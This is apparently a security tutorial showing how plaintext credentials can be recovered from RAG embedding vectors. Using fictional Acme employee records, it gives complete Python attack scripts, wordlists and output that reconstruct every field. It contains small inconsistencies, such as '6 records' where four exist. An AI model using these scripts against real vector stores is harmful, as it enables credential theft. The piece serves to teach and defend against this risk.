Vectorised Embedding Inversion

Retrieval-Augmented Generation has become the standard pattern for giving LLMs access to private data. Documents are split into chunks, run through an embedding model, and stored as vectors in a database. At query time the system retrieves the most relevant vectors, decodes them back to text, and feeds them to the LLM as context.

In this article we will build a RAG-based password-reset system that embeds fake employee credentials into a vector store. We will then demonstrate how an adversary with access to the stored embeddings recovers the plaintext values.


Building a Vector Store

Our target is a password-reset system for the fictional Acme Corporation. Employee records are embeded in the database.

# build_vectorstore.py
from sentence_transformers import SentenceTransformer
import numpy as np

MODEL_NAME = "all-MiniLM-L6-v2"

RECORDS = [
    "Employee: Alice Johnson | Email: alice.j@acmecorp.fake | ID: EMP-10421 "
    "| Temporary Password: Tr0ub4dor&3 | Security Answer: Fluffy",
    "Employee: Bob Martinez | Email: bob.m@acmecorp.fake | ID: EMP-10422 "
    "| Temporary Password: correct-horse | Security Answer: Riverside",
    "Employee: Carol Chen | Email: carol.c@acmecorp.fake | ID: EMP-10423 "
    "| Temporary Password: P@ssw0rd!23 | Security Answer: Blue",
]

ADMIN_RECORD = (
    "Admin Portal: https://admin.acmecorp.fake/reset-panel "
    "| Service Account: svc-reset-bot | Password: K8s_Pr0d!2026_reset"
)

model = SentenceTransformer(MODEL_NAME)
embeddings = model.encode(RECORDS + [ADMIN_RECORD])
np.save("vectorstore.npy", embeddings)

Running the script produces two files: vectorstore.npy containing the embedding matrix (6 records × 384 dimensions) and vectorstore_meta.json with the model name and record count. These files represent what an attacker obtains from a compromised vector database.

The original text is not included in these files, only floating-point vectors.


Wordlist Based Inversion Attacks

In a dictionary attack, the adversary takes a list of likely passwords and writes each one in the format the records use, such as “Temporary Password: letmein”. They embed each candidate with the same model and measure how close it lands to each stored vector. The closest candidate is the best guess.

This is the same idea as cracking an unsalted hash: the attacker cannot reverse the function, but they can compute it for a guess and check for a match.

# dictionary_inversion_attack.py
from sentence_transformers import SentenceTransformer
import numpy as np

model = SentenceTransformer("all-MiniLM-L6-v2")
embeddings = np.load("vectorstore.npy")

def cosine_similarity(a, b):
    a_norm = a / np.linalg.norm(a)
    b_norm = b / np.linalg.norm(b, axis=1, keepdims=True)
    return b_norm @ a_norm

PASSWORD_WORDLIST = [
    "password", "123456", "admin", "letmein",
    "P@ssw0rd!23", "Tr0ub4dor&3", "correct-horse",
    "Summer2026!", "Qwerty#789", "K8s_Pr0d!2026_reset",
]

candidates = [f"Temporary Password: {pw}" for pw in PASSWORD_WORDLIST]
candidate_embeddings = model.encode(candidates)

for i, emb in enumerate(embeddings):
    print(f"Record {i}:")
    sims = cosine_similarity(emb, candidate_embeddings)
    for idx in sims.argsort()[-3:][::-1]:
        print(f"  {PASSWORD_WORDLIST[idx]}  (similarity: {sims[idx]:.4f})")

The key detail is wrapping each password in the same field format “Temporary Password: X” that the original records used. Embedding models encode context as well as content, so matching the surrounding structure dramatically improves similarity scores.

Two of four passwords are recovered. The scores are low because each candidate is a short fragment, while each stored vector encodes the whole record: name, email, ID and security answer too. The right guess wins by a few hundredths or not at all. Note that the wordlist already contains every true password: this attack can only confirm guesses.

python3 dictionary_inversion_attack.py 
Loading weights: 100%
Record 0:
  P@ssw0rd!23  (similarity: 0.4586)
  Summer2026!  (similarity: 0.4391)
  123456  (similarity: 0.4258)
Record 1:
  Summer2026!  (similarity: 0.4286)
  correct-horse  (similarity: 0.4194)
  P@ssw0rd!23  (similarity: 0.4169)
Record 2:
  P@ssw0rd!23  (similarity: 0.5499)
  Summer2026!  (similarity: 0.5043)
  123456  (similarity: 0.4757)
Record 3:
  K8s_Pr0d!2026_reset  (similarity: 0.5551)
  Summer2026!  (similarity: 0.4550)
  admin  (similarity: 0.4467)

Field by Field Reconstruction

The idea is to rebuild the record the way you would solve a crossword: fill in one field, then use it to help with the next. For each field, the attack:

  1. Builds one candidate record for every value on that field’s wordlist, in exactly the original format. Fields already recovered are filled in; fields not yet reached are left blank.
  2. Embeds every candidate with the same model.
  3. Keeps the value whose candidate lands closest to the stored vector, then moves on to the next field.

For Alice’s record, the first round scores 180 candidates such as Employee: Alice Johnson | Email: | ID: | Temporary Password: | Security Answer: . Once “Alice Johnson” wins, the email round scores four candidates with that name filled in, and so on down the record.

Two choices make this work. First, every candidate uses the full record format, so the labels and separators match for all of them and only the guessed value moves the score. Second, the fields are recovered in sequence rather than all at once. Guessing every combination together would mean 14.4 million candidates per record; one field at a time it is 314, and each correct field makes the next comparison easier.

Recovering the record one field at a time gets 12 of the 18 fields right across the four records (five fields in each employee record, three in the admin record). That includes every name, every security answer and the complete admin record.

python3 field_embedding_inversion_attack.py 
Loading weights: 100%| 103/103 [00:00<00:00, 11277.37it/s]

=== Record 0 ===
  Name             Alice Johnson                            sim=0.8452  margin=0.0363
  Email            ajohnson@acmecorp.fake                   sim=0.9292  margin=0.0002
  ID               EMP-10426                                sim=0.9347  margin=0.0001
  Password         P@ssw0rd!23                              sim=0.9465  margin=0.0069
  Security answer  Fluffy                                   sim=0.9854  margin=0.0421
  Rebuilt: Employee: Alice Johnson | Email: ajohnson@acmecorp.fake | ID: EMP-10426 | Temporary Password: P@ssw0rd!23 | Security Answer: Fluffy
  Similarity of rebuilt record to stored vector: 0.9854

=== Record 1 ===
  Name             Bob Martinez                             sim=0.7941  margin=0.0142
  Email            bob@acmecorp.fake                        sim=0.8943  margin=0.0021
  ID               EMP-10446                                sim=0.9190  margin=0.0002
  Password         correct-horse                            sim=0.9331  margin=0.0128
  Security answer  Riverside                                sim=0.9952  margin=0.0643
  Rebuilt: Employee: Bob Martinez | Email: bob@acmecorp.fake | ID: EMP-10446 | Temporary Password: correct-horse | Security Answer: Riverside
  Similarity of rebuilt record to stored vector: 0.9952

=== Record 2 ===
  Name             Carol Chen                               sim=0.8759  margin=0.0267
  Email            carol.c@acmecorp.fake                    sim=0.9552  margin=0.0045
  ID               EMP-10426                                sim=0.9739  margin=0.0003
  Password         P@ssw0rd!23                              sim=0.9820  margin=0.0118
  Security answer  Blue                                     sim=0.9993  margin=0.0130
  Rebuilt: Employee: Carol Chen | Email: carol.c@acmecorp.fake | ID: EMP-10426 | Temporary Password: P@ssw0rd!23 | Security Answer: Blue
  Similarity of rebuilt record to stored vector: 0.9993

=== Record 3 ===
  Portal           https://admin.acmecorp.fake/reset-panel  sim=0.9015  margin=0.0829
  Service account  svc-reset-bot                            sim=0.9846  margin=0.0330
  Password         K8s_Pr0d!2026_reset                      sim=1.0000  margin=0.0127
  Rebuilt: Admin Portal: https://admin.acmecorp.fake/reset-panel | Service Account: svc-reset-bot | Password: K8s_Pr0d!2026_reset
  Similarity of rebuilt record to stored vector: 1.0000

The output contains three errors. Alice’s email (ajohnson@ instead of alice.j@), every employee ID, and Alice’s password are wrong. ID margins of 0.0001–0.0003 are noise, because MiniLM barely distinguishes EMP-10421 from EMP-10426.

Errors also carry forward: once Alice’s email was wrong, her password was scored against a wrong record and came out wrong too. And a high final score is not proof. Alice’s rebuilt record is wrong in three fields yet still scores 0.9854, so only an exact 1.0000 means an exact match.

We can improve on this by implementing iterative refinement.


Iterative Refinement

The previous attack fixes each field once and never revisits it, so one early mistake poisons everything after it. Iterative refinement fixes that: after the first pass, each field is re-picked with all the others held at their current best values, and the loop repeats until nothing changes. Starting from blank fields, the first round is exactly the same as the field by field attack; later rounds can only raise the score.

This script reuses the helpers and wordlists from Attack 2. It also scores the result against the real records, which an attacker would not have, so we can measure accuracy and calibrate the similarity score.

import itertools

import numpy as np
from sentence_transformers import SentenceTransformer

MODEL_NAME = "all-MiniLM-L6-v2"  # must match build_vectorstore.py
DOMAIN = "acmecorp.fake"

# --- Wordlists --------------------------------------------------------------
FIRST_NAMES = ["Alice", "Bob", "Carol", "David", "Eva", "Frank",
               "Grace", "Henry", "Irene", "James", "Karen", "Liam"]
LAST_NAMES = ["Johnson", "Martinez", "Chen", "Okafor", "Petrova", "Smith",
              "Williams", "Brown", "Garcia", "Nguyen", "Kim", "Patel",
              "Novak", "Rossi", "Ivanova"]
NAMES = [f"{f} {l}" for f, l in itertools.product(FIRST_NAMES, LAST_NAMES)]
IDS = [f"EMP-{n}" for n in range(10400, 10500)]
PASSWORD_WORDLIST = ["password", "123456", "admin", "letmein", "P@ssw0rd!23",
                     "Tr0ub4dor&3", "correct-horse", "Summer2026!",
                     "Qwerty#789", "K8s_Pr0d!2026_reset"]
SECURITY_WORDLIST = ["Fluffy", "Riverside", "Blue", "Red", "Green", "Purple",
                     "Max", "Buddy", "Bella", "Charlie", "Luna", "Rex",
                     "Springfield", "Lincoln", "Oakwood", "Paris", "Pizza",
                     "Toyota", "Mustang", "Smith"]
PORTALS = [f"https://admin.{DOMAIN}/{p}" for p in
           ["reset-panel", "login", "dashboard", "admin", "portal", "console"]]
ACCOUNTS = ["svc-reset-bot", "svc-admin", "svc-backup", "svc-deploy", "admin", "root"]

# --- Setup -----------------------------------------------------------------
model = SentenceTransformer(MODEL_NAME)
embeddings = np.load("vectorstore.npy")


def unit(x):
    return x / np.linalg.norm(x, axis=-1, keepdims=True)


def sim(emb, text):
    return float(unit(model.encode([text]))[0] @ unit(emb))


# Templates mirror the exact format used in build_vectorstore.py.
def employee_record(name="", email="", emp_id="", password="", answer=""):
    return (f"Employee: {name} | Email: {email} | ID: {emp_id} "
            f"| Temporary Password: {password} | Security Answer: {answer}")


def admin_record(portal="", account="", password=""):
    return f"Admin Portal: {portal} | Service Account: {account} | Password: {password}"


def email_variants(name):
    f, l = (p.lower() for p in name.split(" ", 1))
    return [f"{f}.{l[0]}@{DOMAIN}", f"{f}.{l}@{DOMAIN}",
            f"{f[0]}{l}@{DOMAIN}", f"{f}@{DOMAIN}"]


def best_value(target, values, make_text):
    """Return the candidate value whose rendered text is closest to target."""
    sims = unit(model.encode([make_text(v) for v in values], batch_size=256)) @ unit(target)
    return values[int(np.argmax(sims))]


def looks_like_employee(target):
    s_emp, s_adm = unit(model.encode([employee_record(), admin_record()])) @ unit(target)
    return s_emp >= s_adm


# Search space per field. Each entry is a function of the current fields,
# so the email candidates follow whatever name is currently best.
EMPLOYEE_SPACES = {
    "name":     lambda f: NAMES,
    "email":    lambda f: email_variants(f["name"]),
    "emp_id":   lambda f: IDS,
    "password": lambda f: PASSWORD_WORDLIST,
    "answer":   lambda f: SECURITY_WORDLIST,
}
ADMIN_SPACES = {
    "portal":   lambda f: PORTALS,
    "account":  lambda f: ACCOUNTS,
    "password": lambda f: PASSWORD_WORDLIST,
}


def refine(target, spaces, make_text, max_rounds=5):
    """Coordinate descent: re-pick each field with the others held fixed."""
    fields = dict.fromkeys(spaces, "")
    for round_no in range(1, max_rounds + 1):
        changed = []
        for key, space in spaces.items():
            best = best_value(target, space(fields),
                              lambda v: make_text(**{**fields, key: v}))
            if best != fields[key]:
                if round_no > 1:
                    changed.append(f"{key}: {fields[key]} -> {best}")
                fields[key] = best
        if round_no > 1:
            print(f"  round {round_no}: " + ("; ".join(changed) if changed else "no changes"))
            if not changed:
                break
    return fields


# Ground truth: used only to score the attack, never by the attack itself.
EMPLOYEE_TRUTH = [
    dict(name="Alice Johnson", email="alice.j@acmecorp.fake", emp_id="EMP-10421",
         password="Tr0ub4dor&3", answer="Fluffy"),
    dict(name="Bob Martinez", email="bob.m@acmecorp.fake", emp_id="EMP-10422",
         password="correct-horse", answer="Riverside"),
    dict(name="Carol Chen", email="carol.c@acmecorp.fake", emp_id="EMP-10423",
         password="P@ssw0rd!23", answer="Blue"),
]
ADMIN_TRUTH = dict(portal="https://admin.acmecorp.fake/reset-panel",
                   account="svc-reset-bot", password="K8s_Pr0d!2026_reset")

# --- Attack ----------------------------------------------------------------
total_correct = total_fields = 0
employee_i = 0

for i, emb in enumerate(embeddings):
    print(f"\n=== Record {i} ===")
    if looks_like_employee(emb):
        spaces, make_text = EMPLOYEE_SPACES, employee_record
        truth = EMPLOYEE_TRUTH[employee_i] if employee_i < len(EMPLOYEE_TRUTH) else None
        employee_i += 1
    else:
        spaces, make_text, truth = ADMIN_SPACES, admin_record, ADMIN_TRUTH

    fields = refine(emb, spaces, make_text)
    rebuilt_sim = sim(emb, make_text(**fields))

    if truth is None:
        print(f"  rebuilt sim {rebuilt_sim:.4f} (no ground truth for this record)")
        for k, v in fields.items():
            print(f"      {k:<9} {v}")
        continue

    correct = sum(fields[k] == truth[k] for k in truth)
    total_correct += correct
    total_fields += len(truth)
    print(f"  {correct}/{len(truth)} correct | rebuilt sim {rebuilt_sim:.4f} | "
          f"true sim {sim(emb, make_text(**truth)):.4f}")
    for k in truth:
        mark = "ok " if fields[k] == truth[k] else "BAD"
        print(f"  {mark} {k:<9} {fields[k]:<40} (true: {truth[k]})")

print(f"\nTotal: {total_correct}/{total_fields} fields correct")
./bin/python3 refine_attack.py
Loading weights: 100%| 103/103 [00:00<00:00, 12179.34it/s]

=== Record 0 ===
  round 2: email: ajohnson@acmecorp.fake -> alice.johnson@acmecorp.fake; emp_id: EMP-10426 -> EMP-10431
  round 3: email: alice.johnson@acmecorp.fake -> alice@acmecorp.fake; emp_id: EMP-10431 -> EMP-10446; password: P@ssw0rd!23 -> Tr0ub4dor&3
  round 4: email: alice@acmecorp.fake -> alice.j@acmecorp.fake; emp_id: EMP-10446 -> EMP-10421
  round 5: no changes
  5/5 correct | rebuilt sim 1.0000 | true sim 1.0000
  ok  name      Alice Johnson                            (true: Alice Johnson)
  ok  email     alice.j@acmecorp.fake                    (true: alice.j@acmecorp.fake)
  ok  emp_id    EMP-10421                                (true: EMP-10421)
  ok  password  Tr0ub4dor&3                              (true: Tr0ub4dor&3)
  ok  answer    Fluffy                                   (true: Fluffy)

=== Record 1 ===
  round 2: email: bob@acmecorp.fake -> bob.m@acmecorp.fake; emp_id: EMP-10446 -> EMP-10422
  round 3: no changes
  5/5 correct | rebuilt sim 1.0000 | true sim 1.0000
  ok  name      Bob Martinez                             (true: Bob Martinez)
  ok  email     bob.m@acmecorp.fake                      (true: bob.m@acmecorp.fake)
  ok  emp_id    EMP-10422                                (true: EMP-10422)
  ok  password  correct-horse                            (true: correct-horse)
  ok  answer    Riverside                                (true: Riverside)

=== Record 2 ===
  round 2: emp_id: EMP-10426 -> EMP-10423
  round 3: no changes
  5/5 correct | rebuilt sim 1.0000 | true sim 1.0000
  ok  name      Carol Chen                               (true: Carol Chen)
  ok  email     carol.c@acmecorp.fake                    (true: carol.c@acmecorp.fake)
  ok  emp_id    EMP-10423                                (true: EMP-10423)
  ok  password  P@ssw0rd!23                              (true: P@ssw0rd!23)
  ok  answer    Blue                                     (true: Blue)

=== Record 3 ===
  round 2: no changes
  3/3 correct | rebuilt sim 1.0000 | true sim 1.0000
  ok  portal    https://admin.acmecorp.fake/reset-panel  (true: https://admin.acmecorp.fake/reset-panel)
  ok  account   svc-reset-bot                            (true: svc-reset-bot)
  ok  password  K8s_Pr0d!2026_reset                      (true: K8s_Pr0d!2026_reset)

Total: 18/18 fields correct

In Conclusion

Recovering plaintext from vector embeddings requires no special tooling and no model training. A dictionary of candidate strings, the same embedding model, and cosine similarity is enough.

If a value is guessable and it’s in the embedding, it can be confirmed. Vector stores deserve the same protection as the text they were built from, and secrets should never be embedded at all.

This matters because RAG has become the default architecture for giving LLMs access to private data, and vector databases are routinely treated as opaque stores whose contents cannot be read.